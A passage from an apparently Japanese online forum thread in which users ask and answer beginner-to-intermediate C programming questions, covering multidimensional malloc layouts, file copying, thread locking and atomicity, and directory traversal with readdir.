**f->a = (int *)malloc(sizeof(int)*I*J*K);
for(i=0;i<I;i++){
f->a[i] = *f->a + i*J;
*f->a[i] = **f->a + i*J*K;
for(j=1;j<J;j++){
f->a[i][j] = *f->a[i] + j*K;
}
}

f->b = (double ***)malloc(sizeof(double **)*I);
*f->b = (double **)malloc(sizeof(double *)*I*J);
**f->b = (double *)malloc(sizeof(double)*I*J*K);

// ここに何かを追加する?...

for(i=0;i<I;i++){
f->b[i] = *f->b + i*J;
*f->b[i] = **f->b + i*J*K;
for(j=1;j<J;j++){
f->b[i][j] = *f->b[i] + j*K;
}
}

}

int main(){
int i, j, k;
int I = 3, J = 5, K = 7;
test3 F;

keep3(&F, I, J, K);

...

exit(0);

}

で、F.a[0][0][0]からF.a[I-1][J-1][K-1]まで、また
F.b[0][0][0]からF.b[I-1][J-1][K-1]までは
それぞれ連続したアドレスに入っているのですが、
F.a[I-1][J-1][K-1]のアドレスと
F.b[0][0][0]のアドレスを隣合わせにするには
関数 keep3 に何を追加したら良いのでしょうか?
0141デフォルトの名無しさんNGNG
>>139
つーか、俺は?w
0142デフォルトの名無しさんNGNG
>> 125
ブランクだの符号対応まで必要になったら、私は lex 使ってトークンにバラしま
すね。

ブランクを飛ばすかどうかは、個々のトークンの種別を判定する isdigitstr()
のレベルではなく、その上位の構文解析のレベルで制御したほうが都合がいいこと
が多いですから。(処理するテキストの文法にもよるけど)
0143デフォルトの名無しさんNGNG
>>142
lexはイヤソ
BSDLになっちゃうじゃない
0144名無しでGO!NGNG
>>140
七徳ナイフのようなコードを考えてる時点で失格です。
世間にアナタのコードをばら撒かないようにしてください。
0145デフォルトの名無しさんNGNG
>>143
GPL ならともかく BSDL を避けるってのは、珍しい気がするが。
0146デフォルトの名無しさんNGNG
>>131
getsとか一部を除いてたとえマクロ実装でも1回しか
評価されないことが保証されてなかったっけ?
0147デフォルトの名無しさんNGNG
getsじゃなかったgetc
0148デフォルトの名無しさんNGNG
>>145
テキスト添付メンドイし
0149おしえてくんNGNG
以下のファイルコピーをおこなうと
出力されたファイルのサイズが元のファイルの4倍くらいに
膨れ上がってしまいます。どこに問題があるか自分では
よくわからないので、教えてください。
また、「これが定石じゃ!」みたいな高水準入出力での
ファイルコピーの方法も教えていただけますと、光栄です。

int buf[MAX];
long fs;
FILE *ifp, *ofp;

ifp = fopen(argv[1], "rb");
fseek(ifp, 0, SEEK_END);
fs = ftell(ifp);
rewind(ifp);
fread(buf, sizeof(int), fs, ifp);
fclose(ifp);

ofp = fopen("cl", "wb");
fwrite(buf, sizeof(int), fs, ofp);
fclose(ofp);
0150デフォルトの名無しさんNGNG
>>149
わざとorネタやめれ。
0151sageNGNG
>>140
コードの内容は読んでないけど、
ただ単に (sizeof(int) + sizeof(double))* I * J * K分のメモリを確保して
適切に計算したアドレスを、インデックスとなるポインタ配列にでも
格納すればよいのでは?

struct test3 {
int *a;
double *b;
int I, J, K;
};

void keep3(test3 *f, int I, int J, int K)
{
size_t sizei, sized;

sizei = sizeof(int) * I * J * K;
sized = sizeof(double) * I * J * K;
f->a = (int *)malloc(sizei + sized);
f->b = (double *)(f->a + I * J * K);
f->I = I;
f->J = J;
f->K = K;
}

int geta(test3 *f, int i, int j, int k)
{
return f->a[f->J * f->K * i + f->K * j + k];
}
double getb(test3 *f, int i, int j, int k)
{
return f->b[f->J * f->K * i + f->K * j + k];
}

int seta(test3 *f, int i, int j, int k, int val)
{
return f->a[f->J * f->K * i + f->K * j + k] = val;
}
double setb(test3 *f, int i, int j, int k, double val)
{
return f->b[f->J * f->K * i + f->K * j + k] = val;
}

意図がよくわからんのでこれ以上は放置。
0152デフォルトの名無しさんNGNG
FILE* In,Out;
int ch = 0;

In = fopen( "xxx","rb" );
Out = fopen( "yyy","wb" );

while( ( ch = fgetc( In ) ) != EOF )
  fputc( ch,Out );

fclose(In);
fclose(Out);
0153デフォルトの名無しさんNGNG
int isdigitstr( const char * s)
{ char c;
 while( c=*s++ ) {
  unsigned char d=c -'0';
  if(d>=10) return 0;
 };
 return 1;
}
0154デフォルトの名無しさんNGNG
>149
CopyFile
0155デフォルトの名無しさんNGNG
>>153
それってやっちゃいけないんじゃなかったっけ?
0156デフォルトの名無しさんNGNG
>>127
isdigitがstrspnより低速なことはまず無い。
ほぼ100%の処理系でマクロ展開される。関数展開する処理系があれば
開発者は馬鹿という以外にない。つーか、あんたlibc読めば分かるだろ。
ま、知ったかぶりもたいがいにな。恥の上塗りもいいところだ。
0157デフォルトの名無しさんNGNG
>>156
そんなの誰でも知ってるよ。
>>127はあほあほプログラマ(?)だったんでしょ。

つか、もういいよ。

質問してきた人も
>while( *s )
> if(! isdigit( *(s++) ) )
>  return 0;
でいいっていってたし。

粘着は嫌われるよ。
0158デフォルトの名無しさんNGNG
>>157
レベルが低いだの言う人間が、どのくらい高いレベルのコードを
書いてくるかと思ったら、期待はずれだったからさ。
クロックを犠牲にして汎用性を取るなら ISO 表現まで読み取る
strtod で認識不能文字を調べればいいし。

まあいいや。粘着はやめることにするよ。
0159デフォルトの名無しさんNGNG
> isdigitがstrspnより低速なことはまず無い。
> ほぼ100%の処理系でマクロ展開される。
マルチバイト文字/ワイド文字対応が入ってる場合には、必ずしもマクロ展開され
るとは限りません。たとえば VC++ 6.0 (日本語版) で isdigit() を含むコード
をコンパイルすると _isctype() という関数呼び出しが入ります。

でもまぁ strspn() よりは速いと思いますけど。
0160デフォルトの名無しさんNGNG
>>159
マルチバイト文字は対応が難しいですよね。
でもisdigitで漢字数字等がtrueになってもあまり用途が無いような気がします。
海外のプログラムをそのまま移植したら逆に誤動作するかも。
ASCII用のisdigitとマルチバイト用のを分けて作ったほうがほうが
良かったんじゃないかなぁ。>MS

>>156
159さんの例もありますので、語気は低いほうが良いですよ。
気持ちはわかりますが。
0161デフォルトの名無しさんNGNG
レベル低い話題ばっかりだね
0162デフォルトの名無しさんNGNG
>>161
じゃ、ここらで一発レベルの高い話題をお願いします。

……それとも オマエモナー って言ってほしかった?
0163デフォルトの名無しさんNGNG
他に話題ないなら粘着しとこ。
>>120 の後半が一見して効率悪いと思えるのは、strspn と strlen で
同じ文字列を少なくとも二回トラバースするとこじゃないかな。
0164デフォルトの名無しさんNGNG
>>163
そのくらいなら
p && *p && p[ strspn(p,"0123456789") ] == '\0'
とでもしときゃ何とでもなるけど、やっぱり本質的にstrspnは遅いっしょ。
0165163NGNG
>>164
strspn 自体が遅いことにはモチロン同意だけど。それにしても

> p[ strspn(p,"0123456789") ] == '\0'

なるほど、これはちょっと目からウロコでした。
0166デフォルトの名無しさんNGNG
>>165
ポインタおべんきょしましょ。
strspn(p,"0123456789")[p] == '\0'
0167163NGNG
>>166
これは特に面白くないですが。
0168146NGNG
結局 #undef isdigit は必要なの? 不要なの?
0169110NGNG
>>151
> sizei = sizeof(int) * I * J * K;
> sized = sizeof(double) * I * J * K;
> f->a = (int *)malloc(sizei + sized);
> f->b = (double *)(f->a + I * J * K);
が非常に参考になりました.
お陰様で,目的のスクリプツを作る事ができました.
どうもありがとうございました.
0170デフォルトの名無しさんNGNG
急スレが上がっているのでage
0171嵐王NGNG
age
0172デフォルトの名無しさんNGNG
CでOOPする方法を教えてください。
0173デフォルトの名無しさんNGNG
COMを使いましょう。死ねます。
C++トランスレータ使いましょう。出力はCになります。
0174デフォルトの名無しさんNGNG
>>172
好きなOOP言語を作れば。
0175デフォルトの名無しさんNGNG
> 出力されたファイルのサイズが元のファイルの4倍くらいに
> 膨れ上がってしまいます。
君の環境では int = 4byte だからです。
int = 2byteの環境では元のファイルの2倍くらいに膨れ上がるでしょう。

> また、「これが定石じゃ!」
int c;
while((c = fgetc(ifp)) != EOF)
  fputc(c, ofp)

>>149の方法だとbufよりも大きいサイズのコピーが出来ない
0176デフォルトの名無しさんNGNG
構造体の配列を動的に割り当てるにはどうしたらいいですか?

struct point{
float x
float y;
};

struct point *p;

p = (struct point *)malloc(256 * sizeof(struct point));

こんな感じでいいんでしょうか?
0177デフォルトの名無しさんNGNG
>>176
おーけー。
0178デフォルトの名無しさんNGNG
>>176
Cだったら、malloc()の戻り値をキャストする必要はないね。
C++だったら必要だけど。(ふつうnewするか)
0179デフォルトの名無しさんNGNG
<UNIX-C Solaris8>
メモリ上のテーブルに複数の同スレッドが参照・更新を行っています。
現状、参照・更新共にメモリテーブルにmutexロックを掛けていますが
このテーブル、更新頻度が低くて、参照の際までにロックを掛けていることが
ボトルネックになって参照処理が遅いように思われています。

で、解決策として、参照の際はロックしないで、更新時だけロックする
読み手/書き手ロック関数(rw_系)を使えばいいのではないかと思うんですが

このロックに変えることで弊害とか考えられますか?
カーネルへの負担とかはどちらが重いんでしょうか?
0180デフォルトの名無しさんNGNG
putcharとかputsってなんのためにあるんでしょう?
printfがあれば全て済みそうなんですが.
本によるとprintfはオーバーヘッドが大きいからputsやputcharで
済むならこっちを使いましょう,みたいになってるんですが,マイクロ
セカンド単位で変わっても大した問題じゃあないと思います.
でもやはり,printfを使う必要がなければputsとか使うべきですか?
0181デフォルトの名無しさんNGNG
フツーreadではlockしないだろ。writeで変なことしなければ問題ナシ。それがフツー。
0182デフォルトの名無しさんNGNG
ネックにならなきゃprintfでもwriteでも好きなの使えば。
ちゃんとprofile取ってから考えろよ。
0183sageNGNG
つっこむべきか?>>181
0184デフォルトの名無しさんNGNG
>>183
つっこむべき
0185sageNGNG
>>184
でもつっこみどころはCの話題じゃないしなあ。

もうちょい放置してみようぜ。
0186デフォルトの名無しさんNGNG
旧スレが上がってるので age ね。ついでに突っ込みいれておこう。

>>184
read() でロックをかけないと、read() 実行中に write() されると、競合が発
生する。だから read() では共有ロックをかけ、write() では排他ロックをか
ける必要がある。

>>179
どこがボトルネックになっているのか、まずはプロファイラを使って計測しま
しょう。行き当たりばったりで最適かかけても、無駄な苦労に終わる可能性
がきわめて高いぞ。
0187デフォルトの名無しさんNGNG
>>183 >>185 >> 186
writeがatomicならロック必要ナシ。

テーブル
 const int n = 4;
 int table[n];


あるスレ(read)
 for (i = 0; i < n; i++) {
  printf("%d\n", table[i]);
 }

別のスレ(write)
 for (c = 0; ; c += n) {
  for (i = 0; i < n; i++) {
   table[i] = c + i;
  }
 }
0188デフォルトの名無しさんNGNG
>>187
readの結果が「0,1,6,15」とかでも構わないのなら、
ロックする必要はないけどな。
0189デフォルトの名無しさんNGNG
int (*a)[N] は配列へのポインタ
int *a[N] はポインタの配列
ですよね?どう違うんでしょ?
0190デフォルトの名無しさんNGNG
>>189
「配列へのポインタ」と「ポインタの配列」の違いがわからないということは、
すなわち「ポインタと配列の違いがわからない」に等しい。
教科書読んで出直せ。

とりあえずそれぞれについてsizeof(a)を調べて見れ。
0191ヨーコ・ゼッターランドNGNG
   ???????????????
 ???????????????????
???????????????????????
?????     ??  ? ?????????           Cは偉大なり
???? ??????  ????????????
??    ???      ??????????
??   ?????    ????? ?????
??                  ?????
 ?       ?? ???      ???
 ?     ??????????     ??
 ??   ????   ?????    ??
 ??  ????      ????  ???
  ?????????????????????
   ???????????????????
   ??????????????????
     ???????????????
0192sageNGNG
>>187
限定的なケースだね。それ。

揚げ足をとるつもりじゃないが、
Cでいうところのintに対するアクセスがatomicであると証明できるひといる?

おれ、できないんだけど。馬鹿なのかな
0193デフォルトの名無しさんNGNG
x86系のまともなコンパイラなら、i++, i--はアトミック。 i += 即値もアトミック。
ただ、187の例はwriteがアトミックかどうかは関係ないような。
0194ちこりーた。NGNG
C#はどうだろおヽ( ´ー`)ノ
0195ちこりーた。NGNG
あースレまちがえたヽ( ´ー`)ノ
0196sageNGNG
「今使ってる環境ではアトミック」だとわかっても
「これから使う環境でアトミック」かどうかはわからんよね。

いや、まあ、揚げ足取りっぽいからいいけどさ。
どっかに「intアクセスはアトミックだよ」っていう保証があればいいんだけどね。
0197トシ@矢田亜希子&水野美紀NGNG
キーボードから順次入力された正の整数を、 0が入力されるまで、配列に順番に格納し、次に、ある1つの正の整数を与えると、それが何番目に入力された整数であるかを表示するプログラムを作成せよ。
例えば、次のような実行例となるようにせよ。


数字(1)を入力してください 43
数字(2)を入力してください 25
数字(3)を入力してください 7
数字(4)を入力してください 123
数字(5)を入力してください 0
見つけたい数字を入力してください 7
7は3番目に見つかりました
見つけたい数字を入力してください 55
55は見つかりませんでした
見つけたい数字を入力してください 0
それではプログラムを終了します

以上


やって下さいな。
0198デフォルトの名無しさんNGNG
>>196 つーか今でも8bit組み込み向けクロスコンパイラだとアトミックじゃないな
そんなCにはそもそも標準IOライブラリがあること自体が怪しいが
0199sageNGNG
>>198
情報ありがトン

というわけで、後からよけいなメンテをしたくないひとは
同期はおろそかにしちゃいかんということでヨシ。
0200デフォルトの名無しさんNGNG
>>193
お約束だが、SMPって知ってる?
0201デフォルトの名無しさんNGNG
>>200
あの例の場合、SMPだろうがNUMAだろうが関係ナシ。
0202デフォルトの名無しさんNGNG
>何で if や while と“()”の間をつめたがるんだろね?
最初に勉強した本の影響と思われ。

でもフォーマットのことを言い出すときりが無い。
宗教論争だ。

# その宗教論争のスレ、誰か立ててよ。
0203デフォルトの名無しさんNGNG
超初心者でごめんなさい。
使用されていないメモリのアドレスを取得する命令ってありますよね?
無かったら非常に困っちゃいますが。
その命令を教えていただきたいのですが。

このままだと固定長の文字列しか扱えなくて・・・
0204デフォルトの名無しさんNGNG
malloc
0205デフォルトの名無しさんNGNG
calloc
0206193NGNG
>>200
ん? (*ptr)++ ってx86でまともなコンパイラなら、
mov eax,ptr; inc [ebx]
とかするでしょ。CPUとバスが調停してくれるから、SMPでも大丈夫。
mov eax, [ebx]; add eax,1; mov [ebx],eax
とかだと、マルチスレッドでもまずいけど。
(だから、RISC系ではintへのアクセスは大抵アトミックではない)
これで合ってる?
0207デフォルトの名無しさんNGNG
すばやいレスサンクスです。
なるほど、こういう命令があったんですね。
これ使えばリスト構造とかできるのかな?
っていうか、出来なきゃおかしいか・・・

mallocとcallocの違いがよくわかんないのですが。
callocはゼロに初期化してくれるってこととエラー処理ルーチンを呼び出す
ってことくらいしか違いが無いような

さらにreallocとかfreeってのみつけたんですけど、
reallocってのが配列のサイズを拡大して、
freeが一連の操作をしたメモリを開放するってことでよいのですか?
配列を縮小する命令が無いんですけど、
やっぱりcallocで作り直してメモリの中身をコピーして、
freeで削除?ってことでよろしいんですか?
0208デフォルトの名無しさんNGNG
reallocは縮小もできますが?
0209207NGNG
あ、すんません、
reallocの第二引数を「相対的な」サイズだと思ってました。
第二引数にマイナスの値を入れたら恐ろしいことになっちゃって(泣
絶対的だったんですね、勘違い、勘違い。

どうもありがとうございます。
0210デフォルトの名無しさんNGNG
C言語で円周率を使う時は
自分で3.14・・・を定義するものなのですか。

誰かが なんとかPI(ちがってるかも)
みたいのが初めから入っているって言ってたような気がするんですが。

知ってる人おしえてください.
0211200NGNG
>>206
・・・ふーん、なるほどね。

「インテル・アーキテクチャ・ソフトウェア・ディベロッパーズ・
マニュアル」下巻より

7.1.1.保証付きアトミック操作
Intel386、Intel486、Pentium、P6ファミリの各プロセッサは、次の
基本的なメモリ操作が常にアトミックに実行されるよう保証する。
・1バイトの読み取りまたは書き込み。
・16ビット境界にアライメント合わせされた1ワードの読み取りまたは
書き込み。
・32ビット境界にアライメントが調整された1ダブルワードの読み取り
または書き込み。
-- 略 --

7.1.2.2.ソフトウェア制御されたバス・ロック
明示的にバスをロックするために、ソフトウェアは次に示すメモリ位置を
変更する命令に先だってLOCKプリフィックスを付加することができる。
-- 略 --
・ビット・テスト/変更命令(BTS、BTR、BTC)。
・交換命令(XADD、CMPXCHG、CMPXCHG8B)。
・XCHG命令には自動的にLOCKプリフィックスが付くものと想定されている。
・次の1オペランド算術演算/論理演算命令: INC、DEC、NOT、NEG。
・次の2オペランド算術演算/論理演算命令: ADD、ADC、SUB、SBB、AND、OR、XOR。
0212デフォルトの名無しさんNGNG
>>206
そんな事いっても、ロックしないのはCのソースとして問題外。
環境に依存しまくったIntel方面の方言に過ぎない。
安全なアセンブラ命令に展開されるといっても、コンパイラ依存。

それに、元記事によるとSolarisだから、Sparc環境かもしれない。
0213デフォルトの名無しさんNGNG
すいません、こういうことできないんですか?
void s(int d){
for(int z=0;z<10 || z<d;z++){

}
}
意図としては、Zが10より低いか、dより低い間実行せよというかんじなんですけど。コンパイラ通るんですが、駄目でした。
0214デフォルトの名無しさんNGNG
>>213
実行時に d に負の数を渡してたりするかもな。
unsigned のデカイ数とかな。
0215デフォルトの名無しさんNGNG
ところで

int main()
{
mem();
}

void mem()
{
char *ptr = (char *)malloc(64);

/* free(ptr); */
}

以上の場合、確保したメモリの有効範囲って
mem()内だけですか?
main()に戻ったとき自動的にfree(ptr)が実行されてますかね?
それともmain()がおわるまで確保されたメモリは開放されませんか?
0216デフォルトの名無しさんNGNG
C言語なんてやめちまえ
0217デフォルトの名無しさんNGNG
>>215
なんでそういう考えに至ったのか理解に苦しむところ
0218デフォルトの名無しさんNGNG
>>215
main()がおわるまで確保されたメモリは開放されない
C言語には目に見えて自動的にやってくれる処理はないと思ったほうがよい
0219207NGNG
>>215
初心者的意見だと
char *ptr = (char *)malloc(64);
このchar型のポインタの有効範囲は関数の中だけなんじゃないですか?
んでもって、開放してないんだからめもりりぃ〜く!だと思いますが。

あくまでも初心者的意見のため、間違っている可能性大ですけどね。
0220デフォルトの名無しさんNGNG
厨房プログラマ板作ってくれ
0221デフォルトの名無しさんNGNG
つーか厨房はマ板へ逝って欲しい。
0222デフォルトの名無しさんNGNG
>>219
開放してないんだからめもりりぃ〜く! だ!!!!
だからCはプログラマが書いてないことは何もしないんだってぱ
0223デフォルトの名無しさんNGNG
いきなりレベルが下がってるなこのスレ(笑)
02241NGNG
>>223

それはすべて、1ことわたくしめの責任でアリマス!
0225デフォルトの名無しさんNGNG
heap
0226デフォルトの名無しさんNGNG
>>221
プログラマ板は、プログラム技術を語る板じゃないぞ。厨房を押し付けないでくれ。
0227デフォルトの名無しさんNGNG
>226
厨房もカテゴリ的にはプログラマ板の方がふさわしい
0228デフォルトの名無しさんNGNG
>>212
readでロック不要という議論なんだが。
0229デフォルトの名無しさんNGNG
アトミックって何?(・∀・)
0230デフォルトの名無しさんNGNG
>>229
atom=原子:これ以上分けられない最小の単位
0231デフォルトの名無しさんNGNG
>>228
だから、x86限定で話してどうなるんだよ?
readでロック不要。これは、環境依存だ
0232sageNGNG
でも組み込みとかに限らず、作りきりコードを書いてる人だと
移植性よりは、効率のよい実装のほうが重要なこともあるんだよね。

わかってて明示的にやるなら
環境依存は別に悪いことじゃないと思うよ。
0233デフォルトの名無しさんNGNG
>>231
どんな環境でatomicなwriteに対するreadにロックが必要なんだ?
0234sageNGNG
>>233
atomicに書くだけでよいなら同期は必要ない。
読んでから書くまでatomicでないなら同期が必要だがなにか?
0235デフォルトの名無しさんNGNG
>>234
だから書く話はしてないんだってばさ。ちゃんと読めよ。
0236sageNGNG
いーかげんつかれたけど、これもつっこむべき?>>235
0237デフォルトの名無しさんNGNG
Linuxで、あるディレクトリのファイル一覧を得たいのですが標準関数ではできませんよね?
そこでsystem関数等なども交えて考えてみましたが私には解りませんでした。
もしよろしければヒントなどでも教えてください。よろしくお願いします。

引 数 directory 捜索するディレクトリ名
    file 結果格格納要変数
戻り値 ファイルの数
int getfile(char* directory, char** file)
として
int a;
char* file;
a = getfile("/home/hoge/",&file);
とすると
file[0],file[1],file[2]......file[a]
とファイル名が入っているというのはできますか?

よろしくお願いします。
0238shigeNGNG
#include <dirent.h>
DIR, struct dirent, opendir, readdir, closedir
0239デフォルトの名無しさんNGNG
こんな物があったのですか!ありがとうございました。
0240shigeNGNG
Ruby
0241C始めてNGNG
UNIX(solaris)でファイルコピー中(aプロセス)のファイルを読み込んだ時(aプロセス)に、
どうなるんでしょうか?コピー中の際はオープン出来ないように(c言語)
出来るんですか?
0242デフォルトの名無しさんNGNG
排他制御の事かな?

tp://www.itboost.co.jp/c/c_07.php

ほい、書くの面倒だから。
0243デフォルトの名無しさんNGNG
>>242
なんだかやたらレベルが低いな…
0244デフォルトの名無しさんNGNG
ぬぁにぃぃ!!漏れのレベルが低いだと?!
検索して一番上の奴を紹介してやったんじゃないか!!
そもそも241の日本語がわからん!
ハカーの漏れに謝れ。さぁハカーの漏れに謝れ
0245デフォルトの名無しさんNGNG
>>236
いや、もう良いでしょ。

分かるヤツにはこれまでの議論で十分だし、ここまで読んでまだ理解できない
相手には、何を言っても無駄。
0246570NGNG
===============================================
C++Builder コマンドラインツール
リリースノート
===============================================
コマンドラインツールのインストールと実行
-----------------------------------------------

1. freecommandlinetools.exe を実行します。無料の C++Builder 5
コマンドラインツール開発システムをインストールしたいドライブと
フォルダを選択します。

2. インストール先の bin ディレクトリで次の手順を実行します。
a. 既存のパスに "c:\Borland\Bcc55\bin" を追加します。
b. bcc32.cfg ファイルを作成します。このファイルは,Include
および Lib パスのコンパイラオプション(コンパイラの -I
および -L スイッチ)を設定するものです。ファイルには次の
行を含めてください。
-I"c:\Borland\Bcc55\include"
-L"c:\Borland\Bcc55\lib"
c. ilink32.cfg ファイルを作成します。このファイルは,Lib
パスのリンカオプションを設定するものです。ファイルには
次の行を含めてください。
-L"c:\Borland\Bcc55\lib"

これの2b・cのやりかたがわかりません。
これじゃあ勉強すらできない・・・・・
0247デフォルトの名無しさんNGNG
>>246
難しく考えるな。含めろといわれている行をコピペして、
それぞれ指定されたファイル名で保存するだけ。
(もし c:\Borland 以外の場所にインストールしたのなら、
適宜内容を書き換える必要はあるが)
0248デフォルトの名無しさんNGNG
>>246
vectorかどっかに自動って設定やってくれるのなかったか。
0249246NGNG
×自動って → ○自動で
sageてなくてすまん。
0250248NGNG
↑248だった・・・なんか一人で自滅しとる。欝
0251デフォルトの名無しさんNGNG
まともなコンパイラならincに展開されるとか言ってる奴は
VC++でアセンブラリスト見たことあるのか?
VC++はまともなコンパイラじゃないとか言われそうだけど(藁
0252デフォルトの名無しさんNGNG
>>251
もしかして、最適化なしの結果を見てたりしてないだろうな?
0253デフォルトの名無しさんNGNG
>>252
ちゃんと最適化してるって。
だから見てるの?
0254デフォルトの名無しさんNGNG
>246

金をかけずにプログラミングを勉強したいなら、まず"MS−DOS"の使い方を覚えろ。
0255デフォルトの名無しさんNGNG
>>254
どうせならlinuxとか薦めとけよ
0256デフォルトの名無しさんNGNG
// VC6.0Pro Release

void inc(void)
{
volatile int *pt;
(*pt)++;
}

; Line 3
mov eax, DWORD PTR _pt$[esp-4]
mov ecx, DWORD PTR [eax]
inc ecx
mov DWORD PTR [eax], ecx
0257デフォルトの名無しさんNGNG
void inc(void)
{
int *pt;
(*pt)++;
}

; Line 3
mov eax, DWORD PTR _pt$[esp+4]
inc DWORD PTR [eax]
0258570NGNG
Debian徹底入門買ったんでノートに入れようと思ってます。
動作するかはわかりませんが・・・・
柴田望洋明解C言語入門編やってます。
わかりやすくてどんどんすすみそう。
ただP21の複数の変換指定をコンパイルして実行すると、
実行したファイルがKERNEL32エラーを引き起こして
このぺ−じだけ実行不能になってしまいます。
他のプログラムは今のところエラーでないのに・・・・
0259デフォルトの名無しさんNGNG
void inc(void)
{
int *pt;
(*pt)++;
(*pt)++;
}

; Line 5
mov eax, DWORD PTR _pt$[esp+4]
add DWORD PTR [eax], 2

そもそも、たまたまincに展開されたところで
incはSMP safeじゃないんだが。
0260デフォルトの名無しさんNGNG
とりあえず、193が作ったプログラムを使わせられるような悲劇が起こりませんように...
0261デフォルトの名無しさんNGNG
>>259
もともとの話とは全然違うんだが、まぁこれはこれで君は正しいよ。

>>260
そうか?使うだけなら漏れは構わんが。引き継ぎさせられるような
場合は、1から書き直せる時間がなければ承諾せんけどな。
0262デフォルトの名無しさんNGNG
C言語による最新プログラム辞典
平林雅英著 技術評論者

のソースコードをダウンロードできるサイトはないですか?
フロッピーがついてるのですがPC-98ようなので読めません。
0263デフォルトの名無しさんNGNG
>>262
既に“最新”ではないと思われ。
0264デフォルトの名無しさんNGNG
あるディレクトリ以下に存在するファイル一覧を全て表示する関数を創りたいのです。
覚えたての再帰を使えば楽勝さ!と思えど実際に作っているうちにすぐにつまづきました。
手がつけられなくなりました。。。

どなたかこのような関数の雛型を持っていたらご教授ください。お願いします。
0265プププNGNG
>>262
http://www.hir-net.com/soft/
0266デフォルトの名無しさんNGNG
>>264
OSくらい書け。

MS-DOS/Windows系
 systemm("dir");

UNIX系
 system("ls -l")
0267264NGNG
>>266
レスありがとうございます。しかしそれでは困るのです。。。。
あるディレクトリ以下に存在するファイル一覧というのは
/home/というディレクトリの中にhoge/とuser/というディレクトリがあればその
ディレクトリにあるファイルも順次表示し、そのディレクトリにさらにディレクトリがあれば・・・・
と全て表示したいのです。言葉足らずですいません。
opendirやstat関数を駆使して創る事になると思うのですが・・・・

OSはLinuxとMS-DOS(CYGWIN)なのでUNIX系という事になりましょうか。

よろしくお願いします。
0268デフォルトの名無しさんNGNG
>>265
かなりイタいページだね。

それにしてもこの著者まだC言語が関数型言語だと思ってるのだろうか。
それとももう間違いを悟ったかな?
0269デフォルトの名無しさんNGNG
>>267
man ftw
0270デフォルトの名無しさんNGNG
>>266
再帰的にだと

MS-DOS/Windows系
  dir /s

UNIX 系
  ls -R

だと思うが。
0271デフォルトの名無しさんNGNG
>>267
全然エラーチェックしていないが、こんな感じ
カレントと親ディレクトリは無視するのがポイント

void foo(const char *dn)
{
  DIR *dp;
  struct dirent *dir;
  struct stat fs;
 
  dp = opendir(dn);
  while ((dir = readdir(dp)) != NULL) {
    stat(dir->d_name, &fs);
    if (S_ISDIR(fs.st_mode))
      if (strcmp(dir->d_name, ".") && strcmp(dir->d_name, ".."))
        foo(dir->d_name);
  }
  closedir(dp);
}
0272デフォルトの名無しさんNGNG
大きなデータを扱うとき
char str[10000][1000];
みたいに普通に宣言していいんですか。
0273デフォルトの名無しさんNGNG
>>272
環境依存
0274デフォルトの名無しさんNGNG
>>272
かまわない
ただし、俺愛用のコンパイラLSI-Cの場合、デフォルトスタックサイズが
2500バイトなんでスタックサイズを増やさないといけないけどな。

あと、固定で確保する方法ではなく、必要な大きさだけ確保する手もある
malloc(), free()あたりを検索してみてくれ。
0275デフォルトの名無しさんNGNG
>>271
>if (strcmp(dir->d_name, ".") && strcmp(dir->d_name, ".."))

...
0276デフォルトの名無しさんNGNG
>>271
dir->d_name って、パスが含まれていないんじゃないかな。
0277デフォルトの名無しさんNGNG
memcmpとstrncmpってどう違うんでしょうか
0278デフォルトの名無しさんNGNG
>>274
LSI-Cって、かの有名な石器時代のコンパイラ?
0279デフォルトの名無しさんNGNG
>>277
nul文字で終了しない。

>>271
バグ持ちだね
0280デフォルトの名無しさんNGNG
>278
まだ現役ですよ〜
DOS時代からの人はこれの存在大きかったよね?
0281デフォルトの名無しさんNGNG
>>279
>nul文字で終了しない。
memcmpでもどっちかの文字が0になった(差違が出た)
時点で終るのでは?
0282デフォルトの名無しさんNGNG
>>279
両方同じ文字列だった場合、それよりも長い長さを比較したら、
memcmpの方は領域外の比較もしちゃうから異なるって事かな?
普通の使い方じゃないけど
(普通、比較前に両方のmaxを取るでしょ?)
0283デフォルトの名無しさんNGNG
>>280
中学の入学祝がBCC4.5だった
0284264NGNG
>>271
ありがとうございました。
教えてもらったソースを雛型にプログラムを創りたいと思います。
0285デフォルトの名無しさんNGNG
lsのソースコードみれ
0286デフォルトの名無しさんNGNG
>>280
俺もまだ現役。LFN もちゃんと扱えるからな。
0287デフォルトの名無しさんNGNG
>>277
3つ目の引数に何を渡すかにより動作が異なる

strncmp(a,b, strlen(a)); memcmp(a, b, strlen(a));
の場合、strncmpとmemcmpの動作に違いはないが、

strncmp(a,b, sizeof a); memcmp(a, b, sizeof a));
の場合、strncmpとmemcmpの動作が違うことがある。
0288デフォルトの名無しさんNGNG
>>287
後者だとコンパイル不可かな(w
で、a の型は?
0289デフォルトの名無しさんNGNG
>>288
> で、a の型は?
char a[] = "\x00hoge";
char b[] = "\x00hage";
とかだと後者のコンパイルも可能だし、strcmp, memcmpの動作も変わるけど?
0290デフォルトの名無しさんNGNG
>>289
コンパイル不可というのは、閉じ括弧が一つ多いことに
ついて揚げ足を取ってみただけ、じゃなかろうか。
0291公房ドキュソNGNG
授業日数(210日)、出席、欠席を入力し出席率を求める式をきぼんぬ。
またはプログラムきぼんぬ。C言語できぼんぬ。
0292デフォルトの名無しさんNGNG
>>291
スレ違い。
ここは他人にプログラムを書いてもらうスレではない。

麻衣たんに頼め。
http://piza2.2ch.net/test/read.cgi?bbs=tech&key=982853418&ls=50
0293デフォルトの名無しさんNGNG
>>291 syussekiritu = syussekinissuu / jugyounissuu;
0294デフォルトの名無しさんNGNG
見積もり依頼じゃないのかな
DBは何がいい?
0295デフォルトの名無しさんNGNG
半日調べたのですが、わからなかったので教えてください。

プロセスの中で、その実行可能ファイルのファイル名を
取得したいのです。
mainで、argv[0]の内容を広域変数に入れて参照する、
という方法があるのはわかったのですが、
広域変数を使わずに、関数で取得するような方法って
ないのでしょうか?
ヒントでもよいので、よろしくお願いします。
0296デフォルトの名無しさんNGNG
>>295
プラットホームを書いた方が良いと思うぞ。
C 言語一般の話で言えば、ありません。
0297デフォルトの名無しさんNGNG
unixならpsのソース見てみたら?
俺はへたれなので偉い人きぼん
0298デフォルトの名無しさんNGNG
ここ、かなり笑えます。
http://www.j-gunboy.com/prog/c/ctop.html
0299デフォルトの名無しさんNGNG
psのソースやらlsのソースはどこで手に入れられるのですか?
いつも探してみるのですが見つかりません。

よろしければサイトを教えてください。
0300デフォルトの名無しさんNGNG
環境書いてないけど、きっと君はFreeBSDをフルインストールしてるんだろう。
/usr/src/ 以下を見ろ。すべての標準コマンドのソースが入ってる。
灯台下暗しってやつだな。
0301デフォルトの名無しさんNGNG
for(;;)
と
while(1)

どっちが望ましいとか あるのかな
